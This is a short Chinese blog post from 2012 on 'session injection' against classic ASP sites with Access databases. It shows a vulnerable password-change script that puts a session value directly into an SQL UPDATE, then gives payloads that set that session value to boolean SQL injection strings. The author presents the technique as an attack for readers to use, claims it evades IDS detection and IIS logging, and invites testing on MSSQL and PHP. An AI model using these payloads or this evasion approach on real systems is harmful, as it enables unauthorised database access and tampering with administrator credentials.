现在的位置: 首页 > 综合 > 正文

session注入

2012年10月02日 ⁄ 综合 ⁄ 共 799字 ⁄ 字号 评论关闭
codz:
        <%
dim rs
set rs=Server.Createobject("Adodb.recordset")
sql="select * from kevinadmin"
rs.open sql,conn
oldpass=rs("k_pass")
rs.close
sql="update kevinadmin set k_pass='" & request.Form("passwd2") &"' Where k_user='" & session("user") & "'"
'response.write sql
rs.open sql,conn
if err then
response.write "修改失败"
else
response.write "修改成功"
end if
%>

使用:
<%
session("user")="Huanhuan'and 1=2 and '1'='1"
%>

<%
session("user")="Huanhuan'and 1=1 and '1'='1"
%>
进行注入。。。。。
这种方法的注入虽然比较麻烦,也有一定的局限性(必须拿下一个PZ站),但是他胜在是永远是一个变量,只是临时存在于服务器,IDS什么的都不能检测,倒,IIS也更不会有什么记录。我测试的是access数据库的,MSSQL的那就请大家自行测试了。还要说一下,PHP中貌似还有一个函数能构造注入,虽然很少能进库,但是也是一种新的攻击方法,因为我的mysql5.0有点问题,所以测试不了,有兴趣的朋友可以自行测试。PHP的session注入我也没测试,也不知道诸如“'”“/”之类的会不会被替换掉。好了,文章到这里,随便说下我的测试环境:WinXP+IIS5.1+Access。

注意:很多程序都把session定值了,而且不进库,例如if session("aaa")<>"ok" then这样的话是伪造不了的,但是如果session的值为变量的话,那就可以伪造了!

【上篇】
【下篇】

抱歉!评论已关闭.